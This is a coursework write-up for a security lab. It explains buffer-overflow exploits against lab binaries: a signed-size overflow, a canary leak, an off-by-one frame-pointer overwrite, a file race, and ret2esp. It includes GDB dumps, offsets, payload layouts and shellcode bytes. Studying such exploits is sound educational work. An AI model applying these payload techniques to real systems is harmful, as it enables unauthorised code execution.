---
# System prepended metadata

title: Write-ups

---

# Write-ups

## Question 2: Compromising Further
### Main Idea
The vulnerability in this question is that the variable `int8_t size` can be negative, which allows the call to `fread()` to put more than 128 characters inside `msg`, which results in a buffer overflow

### Magic Numbers
We first determined the address of the char buffer `msg` (`0xbffff6f8`) and then the value of the eip (`0xbffff78c`) when executing `display()`. This was done by invoking GDB and placing a breakpoint at line 9.

```
x/16x msg
0xbffff6f8:     0xb7ffd2d0      0x00400429      0x00000002      0xb7ffcf5c
0xbffff708:     0x00000000      0xb7fc8d49      0x00000000      0x00400034
0xbffff718:     0xbffff720      0x00000008      0x01be3c6e      0x00000001
0xbffff728:     0x00000030      0x00001fb8      0x00000000      0x000002a0

(gdb) i f
Stack level 0, frame at 0xbffff790:
 eip = 0x400695 in display (agent-smith.c:9); saved eip = 0x400775
 called by frame at 0xbffff7c0
 source language c.
 Arglist at 0xbffff788, args: path=0xbffff942 "pwnzerized"
 Locals at 0xbffff788, Previous frame's sp is 0xbffff790
 Saved registers:
  ebx at 0xbffff784, ebp at 0xbffff788, eip at 0xbffff78c

```
By doing so, we've learned that the location of the return address is 148 bytes away from the start of `msg`. (148 = `0xbffff78c - 0xbffff6f8`)

### Exploit Structure

Using this information, we can execute a buffer overflow by
1. Putting `"\xff"` as the first byte in `pwnzerized` so fread reads in more than 128 bytes from the file
2. Padding the next 148 bytes with `"a"` until the return address
3. Override the old return address with the new address of the shellcode; the shellcode will be put right after.(`0xbffff790 = 0xbffff78c + 4`)
4. Finally, insert the shellcode.

### Exploit GDB Output

Using GDB after putting in a malicious `pwnzerized` file, we get the following output.
``` 
(gdb) x/40x msg
0xbffff6f8:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff708:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff718:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff728:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff738:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff748:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff758:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff768:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff778:     0x000000c0      0x61616161      0x61616161      0x61616161
0xbffff788:     0x61616161      0xbffff790      0xcd58326a      0x89c38980
```
The return address was successfully changed to the new return address where the shellcode is (`0xbffff790`) after the second call to `fread()`.

## Question 3: Secret Exfiltration
### Main Idea
The vulnerability in this question is how the `if (c.buffer[i] == '\\' && c.buffer[i+1] == 'x')` statement is constructed since a user can use the print statement to print out the canary value given the proper input. With the knowledge of the canary value, we can then perform buffer overflow when the program loops since the canary value does not change during a `while` loop. We then give an input that ensures that the canary value is not changed while performing the buffer overflow but is still changing the eip value so that it points at address of the shell code.
### Magic Numbers
To begin, we first began by determining the address of the c.buffer (0xbffff7b4) and c.answer (0xbffff7a4) using `x/16x c.buffer` and `x/16x c.answer` respectively. After running the program multiple times, and using `x/16x c.answer`, we can identify the canary value (0xbffff7c4) since the canary value is being different for each run. Next we determined the address of the eip register (0xbffff7d0) by using the command `i f` in the dehexify function. This was all done by invoking GDB on the program `agent-jz` and setting a breakpoint at line 18.
```
(gdb) x/16x c.answer
0xbffff7a4:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffff7b4:	0x00000000	0x00000000	0x00000000	0x00401fb0
0xbffff7c4:	0x7225d94d	0x00401fb0	0xbffff7d8	0x00400839
0xbffff7d4:	0xb7ffcf5c	0xbffff85c	0xb7f8cc8b	0x00000001

(gdb) i f
Stack level 0, frame at 0xbffff7d4:
 eip = 0x40072f in dehexify (agent-jz.c:18); saved eip = 0x400839
 called by frame at 0xbffff7e0
 source language c.
 Arglist at 0xbffff7cc, args:
 Locals at 0xbffff7cc, Previous frame's sp is 0xbffff7d4
 Saved registers:
  ebx at 0xbffff7c8, ebp at 0xbffff7cc, eip at 0xbffff7d0
```

### Exploit Structure

Using this information, we can execute a buffer overflow by:
1. Send an input using `p.send(...)` and giving an input that will 14 bytes long since `gets(c.buffer);` appends 2 null bytes to the end of our input. The input would be composed of 12 garbage bytes to pad the front and `\x`. We will also need to add `\n` to the end of the string being sent to create an input such as `p.send("aaaaaaaaaaaa\x" + "\n")`).
2. Receive the value being printed out by `printf("%s\n", c.answer);` by using the given function `p.recv(18)`. Then slice the string (`[-5, -1]`) so that we get a value that only has the last 4 bytes (not including the `\n`). This 4 byte value is the canary value that is protecting the return pointer from buffer overflows.
3. Send an input  using `p.send(...)` to send another input to `get(c.buffer)`. The front of the input being sent should be composed of 32 garbage bytes, the 4 byte canary value, and 8 more garbage bytes. At this point we have now  reached the return and need to override this with the address that is directly after the eip register since this is where we will be storing the shellcode. Thus, the last part of our input that we will be sending is composed of  `"\xd4\xf7\xff\xbf" + SHELLCODE`. The resulting input should end with a `\n` and should look something like this: `p.send('A' * 32 + canary + 'B' * 8 + "\xd4\xf7\xff\xbf" + SHELLCODE + '\n')`.

### Exploit GDB Output
Using GDB after sending  `aaaaaaaaaaaa\x`, we get the following output:
```
(gdb) x/16x c.answer
0xbffff7a4:	0x61616161	0x61616161	0x61616161	0xcb34ffb9
0xbffff7b4:	0x401fb05c	0x61616161	0x61616161	0x0000785c
0xbffff7c4:	0x7225d94d	0x00401fb0	0xbffff7d8	0x00400839
0xbffff7d4:	0xb7ffcf5c	0xbffff860	0xb7f8cc8b	0x00000002
```

After the while loop finishes running and sending `'A' * 32 + canary + 'B' * 8 + "\xd4\xf7\xff\xbf" + SHELLCODE`,  as predicted, the `gets(c.buffer)` function wrote past the buffer boundary and overwrote the return instruction pointer to point to the given shellcode afterwards.


## Question 4
### Main Idea
We can do an off-by-one buffer overflow by overflowing the buffer in function `invoke()`. We are able to do this because of the condition in the for loop of the function `flip()`, `i` goes up to 64 if the length of `input` is greater than 64, which is just outside the maximum index of the buffer in `invoke()`. This allows the least significant byte of the sfp to change, which we can modify such that the sfp points back into the buffer where we can place the shellcode.

### Magic Numbers
We first determined the address of the char buffer `buf` (`0xbffff770`) and then the value of the ebp in the frame of `invoke` (`0xbffff7b0`) when executing `display()`. This was done by invoking GDB and placing a breakpoint at the function `invoke()`.
```
(gdb) x/32x buf
0xbffff770:     0x00000000 0x00000001   0x00000000      0xbffff91b
0xbffff780:     0x00000000 0x00000000   0x00000000      0xb7ffc44e
0xbffff790:     0x00000000 0xb7ffefd8   0xbffff850      0xb7ffc165
0xbffff7a0:     0x00000000 0x00000000   0x00000000      0xb7ffc6dc
0xbffff7b0:     0xbffff7bc 0xb7ffc539   0xbffff948      0xbffff7c8
0xbffff7c0:     0xb7ffc55d 0xbffff948   0xbffff850      0xb7ffc734
0xbffff7d0:     0x00000002 0xbffff844   0xbffff850      0x00000000
0xbffff7e0:     0x00000000 0x00000100   0xb7ffc708      0xb7ffefd8
(gdb) i f
Stack level 0, frame at 0xbffff7b8:
 eip = 0xb7ffc510 in invoke (agent-brown.c:19); saved eip = 0xb7ffc539
 called by frame at 0xbffff7c4
 source language c.
 Arglist at 0xbffff7b0, args: in=0xbffff948 "adsf"
 Locals at 0xbffff7b0, Previous frame's sp is 0xbffff7b8
 Saved registers:
  ebp at 0xbffff7b0, eip at 0xbffff7b4
```


### Exploit Structure
To execute the buffer overflow, we pass in the following as the argument:
1. 4 char padding that is popped off the when the epilogue of the calling function (`dispatch()`) executes `pop %ebp` 
2. The address of the shellcode so that when the instruction `pop %eip` executes, the instruction pointer points to the shellcode.
3. The shellcode itself
4. Padding to fill up the rest of the buffer
5. One last byte that overwrites the last byte of the sfp so that when `pop %ebp` executes in the epilogue of `invoke()`, ebp will be pointing to the beginning of the buffer
### Exploit GDB Output
When we run GDB with the malicious input, we get the following output:
```
(gdb) x/32x buf
0xbffff730:     0x61616161      0xbffff738      0xcd58326a      0x89c38980
0xbffff740:     0x58476ac1      0xc03180cd      0x2f2f6850      0x2f686873
0xbffff750:     0x546e6962      0x8953505b      0xb0d231e1      0x6180cd0b
0xbffff760:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff770:     0xbffff730      0xb7ffc539      0xbffff90b      0xbffff788
0xbffff780:     0xb7ffc55d      0xbffff90b      0xbffff810      0xb7ffc734
0xbffff790:     0x00000002      0xbffff804      0xbffff810      0x00000000
0xbffff7a0:     0x00000000      0x00000100      0xb7ffc708      0xb7ffefd8
(gdb) i f
Stack level 0, frame at 0xbffff778:
 eip = 0xb7ffc52b in invoke (agent-brown.c:21); saved eip = 0xb7ffc539
 called by frame at 0xbffff738
 source language c.
 Arglist at 0xbffff770, args:
    in=0xbffff90b "AAAA\030\327?J\022x\355\240\251\343\251\341Jgx\355\240\021\340pH\017\017SHH\017BINt{ps\251\301\021\362\220+\355\240", 'A' <repeats 17 times>, "\020"
 Locals at 0xbffff770, Previous frame's sp is 0xbffff778
 Saved registers:
  ebp at 0xbffff770, eip at 0xbffff774
```
We can see that the least significant byte of the ebp was changed to point into the buffer, and the buffer contains the exact input described in the previous section. The addresses are slightly different than the ones in the magic numbers section, because after writing the code for the exploit, the environmental variables must have increased in size, which shifted the stack down slightly.

## Question 5: Against the Clock
### Main Idea
The vulnerability in this question is that the program uses the  `if (file_is_too_big(fd))` statement to check if the file is `<=` 128 bytes and does not perform any additional checks to see if the file has been manipulated while the program is running. Using this knowledge, we can bypass this check by starting the program with a file that originally passes the `file_is_too_big` check but change the contents of this file later on with the help of a delay so that when the content of the file is stored into the array `buf`, we can perform a buffer overflow to overwrites the return pointer for the `main` function and point it to our shellcode that is located in the `buf` array. While performing the buffer overflow, we must ensure that we do not overwrite any of the other special registers with garbage data to pad since it may cause an unwanted segfault that will crash the program.
### Magic Numbers

We determined the address of the eip (0xbffff7cc) by creating a break point on line 47 and using the command `i f`. The output of the command is shown below:
```
(gdb) i f
Stack level 0, frame at 0xbffff7d0:
 eip = 0x40096d in main (dejavu.c:47); saved eip = 0xb7f8cc8b
 source language c.
 Arglist at 0xbffff7b8, args:
 Locals at 0xbffff7b8, Previous frame's sp is 0xbffff7d0
 Saved registers:
  ebp at 0xbffff7b8, eip at 0xbffff7cc
``` 
We then determined the address of `buf` (0xbffff718) by creating a break point on line 31 and using the command `x/48x buf`. Finally, we used the `i f` command to identify all of the special registers that we had to be mindful of since changing these might cause a segfault.

```
(gdb) x/48x buf
0xbffff718:     0x00000000      0xb7fc8d49      0x00000000      0x00400034
0xbffff728:     0xbffff730      0x00000008      0x01be3c6e      0x00000001
0xbffff738:     0x00000050      0x00001fa0      0x00000000      0x00000300
0xbffff748:     0x00000180      0x00000000      0x00000000      0x00000000
0xbffff758:     0x0000011b      0x00000010      0x000004cc      0x000009a7
0xbffff768:     0x00000000      0x00000000      0x00000000      0x0000041c
0xbffff778:     0x00000060      0x00000008      0x00000011      0xb7fff1a8
0xbffff788:     0x00000000      0x0000047c      0x00000000      0x00000000
0xbffff798:     0x00000000      0x00000003      0x00000000      0xb7ffcf5c
0xbffff7a8:     0xbffff7b8      0x00400972      0x00000000      0xbffff7d0
0xbffff7b8:     0xbffff850      0xb7f8cc8b      0xbffff844      0x00000002
0xbffff7c8:     0xbffff850      0xb7f8cc8b      0x00000002      0xbffff844
(gdb) i f
Stack level 0, frame at 0xbffff7b0:
 eip = 0x4008c6 in read_file (dejavu.c:38); saved eip = 0x400972
 called by frame at 0xbffff7d0
 source language c.
 Arglist at 0xbffff7a8, args:
 Locals at 0xbffff7a8, Previous frame's sp is 0xbffff7b0
 Saved registers:
  ebx at 0xbffff7a4, ebp at 0xbffff7a8, eip at 0xbffff7ac
```
### Exploit Structure

Using this information, we can execute a buffer overflow by:
1. We first create a file with fewer than 127 characters(including spaces) using `f = open(..., "w")` and `f.write(...)` so that the file passes the `file_is_too_big`. Make sure to remember to use `f.close()` to close the file.
2. We start the program using `p.start()`. Then using the library `time`, we invoke the function `time.sleep(1.5)` to cause our program to wait 1.5 seconds before it begins to modify the file that we passed in.
3. We once again open the same file use `f = open(..., "w")` to open the file. We then use `f.write()` to write to the file with the malicious code. The malicious code begins with the shellcode(85 bytes) and we pad it 59 garbage bytes until we reach a special register at address `0xbffff7a8`. We copy those bytes down so that we don't encounter any segfaults and then pad with 4 additional garbage bytes until we reach the address of another special register. We then pad the data until we reach the address of eip. We change the address of eip to point to the address of our shellcode which is at the beginning of the buffer (0xbffff718). Make sure to flush and close your code after writing to the file.
5. Make sure to use `p.send()` to send the number of bytes that we want to read from the file.

### Exploit GDB Output
When we ran GDB after the program read the content of the malicious file, we got the following output:
```
(gdb) x/48x buf
0xbffff718:     0xdb31c031      0xd231c931      0xb05b32eb      0xcdc93105
0xbffff728:     0xebc68980      0x3101b006      0x8980cddb      0x8303b0f3
0xbffff738:     0x0c8d01ec      0xcd01b224      0x39db3180      0xb0e674c3
0xbffff748:     0xb202b304      0x8380cd01      0xdfeb01c4      0xffffc9e8
0xbffff758:     0x6f682fff      0x6f2f656d      0x6c636172      0x45522f65
0xbffff768:     0x454d4441      0x41414100      0x41414141      0x41414141
0xbffff778:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff788:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff798:     0x000000b9      0x41414141      0x41414141      0x41414141
0xbffff7a8:     0xbffff7b8      0x00400972      0x42424242      0xbffff7d0
0xbffff7b8:     0xbffff84c      0x43434343      0x43434343      0x43434343
0xbffff7c8:     0xbffff850      0xbffff718      0x0000000a      0xbffff844
```
As predicted, the `read(fd, buf, bytes_to_read)` function wrote past the buffer boundary and overwrote the return instruction pointer to point to the given shellcode afterwards.

## Question 6: The Last Bastion
### Main Idea
We can execute a ret2esp exploit as explained in the ASLR Smack & Laugh Reference. We can overflow the buffer in `handle` and override the saved eip with an address that points to a `jmp *esp` command that is located in the code. We can then put the shellcode right after the saved eip location because that is where the esp will point to after popping the rip.
### Magic Numbers
We need to know the distance between the buffer (`0xbfe14820`) and the eip (`0xbfe1484c`) to determine how much padding to put (44 bytes) and we need to find the address of a `jmp *esp` command in the code. (58624 = 0xe4ff = `jmp *esp`).
```
(gdb) x/16x buf                                                                       ¦
0xbfe14820:     0x00000002      0xbfe14884      0x00000003      0xbfe14864            ¦
0xbfe14830:     0xbfe14860      0x00000000      0x00000000      0x00000000            ¦
0xbfe14840:     0x00000003      0x08049fb0      0xbfe148a8      0x0804890e            ¦
0xbfe14850:     0x00000004      0xbfe14864      0xbfe14860      0x0804879b            ¦
(gdb) i f                                                                             ¦
Stack level 0, frame at 0xbfe14850:                                                   ¦
 eip = 0x8048754 in handle (agent-jones.c:38); saved eip = 0x804890e                  ¦
 called by frame at 0xbfe148c0                                                        ¦
 source language c.                                                                   ¦
 Arglist at 0xbfe14848, args: client=4                                                ¦
 Locals at 0xbfe14848, Previous frame's sp is 0xbfe14850                              ¦
 Saved registers:                                                                     ¦
  ebx at 0xbfe14844, ebp at 0xbfe14848, eip at 0xbfe1484c 
```
The `jmp *esp` can be found inside function `magic()`. Running `disass magic` gives us the address:
```
0x08048663 <+31>:    orl    $0xe4ff,0x8(%ebp)
```
Adding 3 bytes to the address gives us the address of the `0xe4ff`, so the address we want to override the rip with is `0x08048666`
### Exploit Structure
To execute the exploit, we need to overflow the buffer with the following input:
1. Put 44 bytes of padding to overflow the buffer until the saved eip.
2. Override the saved eip with the address to the `jmp *esp` command.
3. Put the shellcode right after because that is where the esp will be pointing to after popping the eip.
### Exploit GDB Output
After running GDB with the malicious input, we got the following output
```
(gdb) x/16x buf                                                                       ¦
0xbffa6f90:     0x23232323      0x23232323      0x23232323      0x23232323            ¦
0xbffa6fa0:     0x23232323      0x23232323      0x23232323      0x23232323            ¦
0xbffa6fb0:     0x61616161      0x61616161      0x61616161      0x08048666            ¦
0xbffa6fc0:     0xffffffe8      0x8d5dc3ff      0xc0314a6d      0x5b016a99            ¦
(gdb) i f                                                                             ¦
Stack level 0, frame at 0xbffa6fc0:                                                   ¦
 eip = 0x804877d in handle (agent-jones.c:40); saved eip = 0x8048666                  ¦
 called by frame at 0x61616169                                                        ¦
 source language c.                                                                   ¦
 Arglist at 0xbffa6fb8, args: client=-24                                              ¦
 Locals at 0xbffa6fb8, Previous frame's sp is 0xbffa6fc0                              ¦
 Saved registers:                                                                     ¦
  ebx at 0xbffa6fb4, ebp at 0xbffa6fb8, eip at 0xbffa6fbc  
  ```
We were able to successfully overflow the buffer and change the rip to the address of the `jmp *esp` instruction we found in the code and put the shellcode right after. 